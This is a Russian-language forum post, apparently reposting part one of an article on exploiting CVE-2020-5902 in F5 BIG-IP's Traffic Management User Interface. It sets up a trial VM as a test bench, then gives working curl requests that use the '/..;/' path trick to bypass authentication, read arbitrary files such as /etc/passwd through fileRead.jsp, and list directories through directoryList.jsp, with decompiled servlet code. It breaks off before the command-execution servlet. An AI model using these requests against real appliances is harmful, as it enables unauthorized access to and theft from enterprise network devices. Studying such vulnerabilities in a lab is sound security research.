The BrandLinks Project The BrandLinks Project The BrandLinks Project The BrandLinks Project The BrandLinks Project The BrandLinks Project The BrandLinks Project The BrandLinks Project The BrandLinks Project The BrandLinks Project The BrandLinks Project The BrandLinks Project The BrandLinks Project The BrandLinks Project The BrandLinks Project The BrandLinks Project The BrandLinks Project The BrandLinks Project The BrandLinks Project The BrandLinks Project

Взлом устройств F5 networks через уязвимости в BIG-IP. Часть 1

BlackPope

Местный
Регистрация
27.04.2020
Сообщения
242
Реакции
34
В июле 2020 года немало шума наделала уязвимость, найденная в линейке продуктов F5, в частности — в BIG-IP. Это контроллер доставки приложений, который используют и в крупнейших компаниях вроде банков и операторов сотовой связи. Уязвимости присвоили наивысший уровень опасности, поскольку она позволяет без каких-либо привилегий получить полный контроль над целью.

В составе BIG-IP есть разные модули, которые работают под управлением операционной системы TMOS. Один из них — Local Traffic Manager (LTM) — обрабатывает трафик приложений, обеспечивает безопасность сетевой инфраструктуры и локальную балансировку нагрузки. LTM можно гибко настраивать, в том числе при помощи веб-интерфейса TMUI (Traffic Management User Interface). В нем и нашли уязвимость.

Точнее, нашел Михаил Ключников из Positive Technologies. Баг существует из-за некорректной нормализации URI при обработке запросов. Злоумышленник может обойти аутентификацию в Traffic Management User Interface и использовать функции системы, которые предназначены только для администратора. В результате этого атакующий может выполнять произвольные команды на целевой системе от суперпользователя, а это означает полную компрометацию сервера.

Баг получил номер CVE-2020-5902 и 10 из 10 баллов критичности по CVSS. Уязвимость присутствует в BIG-IP версий с 15.0.0 по 15.1.0.3, с 14.1.0 по 14.1.2.5, 13.1.0–13.1.3.3, 12.1.0–12.1.5.1 и 11.6.1–11.6.5.1.

Тестовый стенд

Так как продукт коммерческий, простого докер-контейнера в этот раз не будет. Самый легкий способ поднять стенд — это скачать тридцатидневную пробную версию BIG-IP VE (Virtual Edition). Для этого нужен аккаунт, который можно создать на сайте F5. После подтверждения можно будет переходить в раздел загрузок.

Нам нужна последняя уязвимая версия, это — 15.1.0.3. BIG-IP распространяется в нескольких вариантах, нас интересует образ виртуальной машины в формате OVA. Перед загрузкой предложат выбрать удобное зеркало.


Страница загрузки виртуальной машины BIG-IP в формате OVA

Также можешь попробовать воспользоваться моей ссылкой для скачивания образа. Не могу сказать, сколько она проживет, но пока отлично работает.

После этого импортируем скачанный образ в свою программу виртуализации. Я буду использовать VMware, но и VirtualBox отлично с этим справится.

После успешного импорта загружаем виртуалку. Через некоторое время видим приглашение для авторизации.


Авторизация в виртуальной машине BIG-IP

По дефолту пароль для суперпользователя — default (тебе сразу предложат его сменить). Теперь можно посмотреть IP-адрес виртуалки.


IP-адрес виртуальной машины BIG-IP

Открываем браузер и переходим на этот IP. Видим форму авторизации Traffic Management User Interface.


Форма авторизации BIG-IP Configuration Utility

Стенд готов.

Детали уязвимости

Вернемся в консоль. Посмотрим, что за веб-сервер слушает 443-й порт.

netstat -lnpe | grep 443


Смотрим, какой сервис слушает 443-й порт в BIG-IP

Это обычный демон httpd, но очевидно, что он используется просто как фронтенд для проксирования запросов куда-то дальше. Поищем среди конфигурационных файлов директивы ProxyPass.

grep -iR ProxyPass /etc/httpd



Поиск директивы проксирования в конфигах httpd

Нашлось много интересного в файле /etc/httpd/conf.d/proxy_ajp.conf.

/etc/httpd/conf.d/proxy_ajp.conf
...
ProxyPassMatch ^/tmui/(.*\.jsp.*)$ ajp://localhost:8009/tmui/$1 retry=5
ProxyPassMatch ^/tmui/Control/(.*)$ ajp://localhost:8009/tmui/Control/$1 retry=5
ProxyPassMatch ^/tmui/deal/?(.*)$ ajp://localhost:8009/tmui/deal/$1 retry=5
ProxyPassMatch ^/tmui/graph/(.*)$ ajp://localhost:8009/tmui/graph/$1 retry=5
ProxyPassMatch ^/tmui/service/(.*)$ ajp://localhost:8009/tmui/service/$1 retry=5
ProxyPassMatch ^/hsqldb(.*)$ ajp://localhost:8009/tmui/hsqldb$1 retry=5
...


И название, и содержимое файла наводят на мысль, что запросы переправляются к веб-серверу Tomcat по протоколу AJP.


8009-й порт — это AJP-протокол сервера Apache Tomcat

Но сейчас проблема не в этом. Нам нужно посмотреть на то, как передается URI к Tomcat. Здесь стоит обратиться к большому исследованию Оранжа Цая о нормализации путей в различных приложениях, которое он представил на Black Hat USA 2018 и DEF CON 26 (PDF). Там есть раздел о Tomcat, где конструкция /..;/ используется для выхода из директории, обхода некоторых правил и получения доступа к файлам с важной информацией. Это возможно потому, что веб-сервер воспринимает конструкцию /..;/ как имя папки, а Tomcat интерпретирует его в качестве относительного пути — вверх по дереву в родительскую директорию.

Чтобы проверить, работает ли этот баг в нашем случае, попробуем прочитать какой-нибудь файл, доступ к которому в обычных условиях запрещен. Список таких можно посмотреть, например, в конфиге TMUI — /usr/local/www/tmui/WEB-INF/web.xml.

/usr/local/www/tmui/WEB-INF/web.xml

<servlet-mapping>
<servlet-name>org.apache.jsp.dashboard.viewset_jsp</servlet-name>
<url-pattern>/dashboard/viewset.jsp</url-pattern>
</servlet-mapping>


Попробуем его просмотреть простым запросом.

curl -k "https://192.168.31.140/tmui/dashboard/viewset.jsp" -is

В ответ получаем редирект на страницу авторизации. А теперь сделаем это при помощи конструкции /..;/.

curl -k "https://192.168.31.140/tmui/login.jsp/..;/dashboard/viewset.jsp" -is

Скрипт viewset.jsp отрабатывает успешно, и сервер возвращает результат.


Обход авторизации и просмотр недоступных страниц в F5 BIG-IP

Теперь мы можем читать любые страницы и выполнять сервлеты, которые не проверяют сессию пользователя внутри себя.

Давай посмотрим, что можно откопать в дебрях TMUI. Все самое интересное лежит в директории /usr/local/www/tmui/WEB-INF/. Здесь же находятся и сами сервлеты, в откомпилированном виде. В связи с этим мне понадобится JD-GUI. Чтобы было проще, советую просто заархивировать директорию /usr/local/www/tmui/WEB-INF/ в формате ZIP и открыть в JD-GUI.


Декомпиляция классов BIG-IP в JD-GUI

А список эндпойнтов, как мы уже выяснили, можно найти в файле /usr/local/www/tmui/WEB-INF/web.xml. Их очень много, поэтому приведу здесь несколько наиболее интересных, которые были найдены после релиза уязвимости в паблик.

Первый — /tmui/locallb/workspace/fileRead.jsp.

/usr/local/www/tmui/WEB-INF/web.xml

...
<servlet>
<servlet-name>org.apache.jsp.tmui.locallb.workspace.fileRead_jsp</servlet-name>
<servlet-class>org.apache.jsp.tmui.locallb.workspace.fileRead_jsp</servlet-class>
</servlet>
...
<servlet-mapping>
<servlet-name>org.apache.jsp.tmui.locallb.workspace.fileRead_jsp</servlet-name>
<url-pattern>/tmui/locallb/workspace/fileRead.jsp</url-pattern>
</servlet-mapping>
...

WEB-INF/classes/org/apache/jsp/tmui/locallb/workspace/fileRead_jsp.java

01: package WEB-INF.classes.org.apache.jsp.tmui.locallb.workspace;
...
26: public final class fileRead_jsp extends HttpJspBase implements JspSourceDependent {
...
61: public void _jspService(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
...
77: String fileName = WebUtils.getProperty(request, "fileName");
78: try {
79: JSONObject resultObject = WorkspaceUtils.readFile(fileName);
80: out.print(resultObject.toString());


Этот сервлет позволяет читать произвольные файлы, если передать в параметре fileName. Пробуем прочитать каноничный /etc/passwd.

curl -k "https://192.168.31.140/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd" -is

Успех, сервер возвращает содержимое файла.


Чтение произвольных файлов в BIG-IP

Из интересных файлов, которые можно прочитать, стоит отметить:
  • /etc/hosts — здесь можно узнать IP-адреса инфраструктуры BIG-IP;
  • /config/bigip.conf — здесь находятся переменные конфигурации BIG-IP;
  • /config/bigip.license — тут можно почерпнуть информацию о текущей лицензии BIG-IP.
Список можно продолжать — я уверен, ты знаешь еще пару десятков заманчивых файлов, которые только и ждут того, чтобы их прочитали. А чтобы было еще проще, на помощь нам приходит следующий интересный сервлет — /tmui/locallb/workspace/directoryList.jsp.

/usr/local/www/tmui/WEB-INF/web.xml
...
<servlet>
<servlet-name>org.apache.jsp.tmui.locallb.workspace.directoryList_jsp</servlet-name>
<servlet-class>org.apache.jsp.tmui.locallb.workspace.directoryList_jsp</servlet-class>
</servlet>
...
<servlet-mapping>
<servlet-name>org.apache.jsp.tmui.locallb.workspace.directoryList_jsp</servlet-name>
<url-pattern>/tmui/locallb/workspace/directoryList.jsp</url-pattern>
</servlet-mapping>
...


На вход он принимает параметр directoryPath, а на выходе, как ты уже догадался, выдает листинг указанной директории.

WEB-INF/classes/org/apache/jsp/tmui/locallb/workspace/directoryList_jsp.java

26: public final class directoryList_jsp extends HttpJspBase implements JspSourceDependent {
...
61: public void _jspService(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
...
77: String directoryPath = WebUtils.getProperty(request, "directoryPath");
78: try {
79: JSONObject resultObject = WorkspaceUtils.listDirectory(directoryPath);
80: out.print(resultObject);

curl -k "https://192.168.31.140/tmui/login.j...irectoryPath=/usr/local/www/tmui/WEB-INF/lib/" -s



Причем содержимое директорий выводится рекурсивно.

curl -k "https://192.168.31.140/tmui/login.j...yList.jsp?directoryPath=/usr/local/www/error/" -s


Директории читаются рекурсивно

Но если скрипту попадаются файлы или папки, которые текущий пользователь не может прочитать, то сервер вернет 500 Internal Server Error.

curl -k "https://192.168.31.140/tmui/login.j...ce/directoryList.jsp?directoryPath=/etc/httpd" -s


Ошибка при чтении директории через directoryList.jsp, если у текущего пользователя недостаточно прав
Как ты успел заметить, все эти методы чтения файлов и директорий вызываются вот из этого класса:


com.f5.tmui.locallb.handler.workspace.WorkspaceUtils

И если поведение WorkspaceUtils.listDirectory и WorkspaceUtils.readFile было вполне понятным, то в следующем сервлете нам придется заглянуть в этот класс, чтобы лучше разобраться в особенностях его работы. Класс WorkspaceUtils располагается в файле .jar по такому пути:

/usr/local/www/tmui/WEB-INF/lib/tmui.jar

Декомпилируем его с помощью все той же JD-GUI, если ты еще этого не сделал.

Переходим к наиболее интересному сервлету — /tmui/locallb/workspace/tmshCmd.jsp.

Продолжение следует…
 
Верх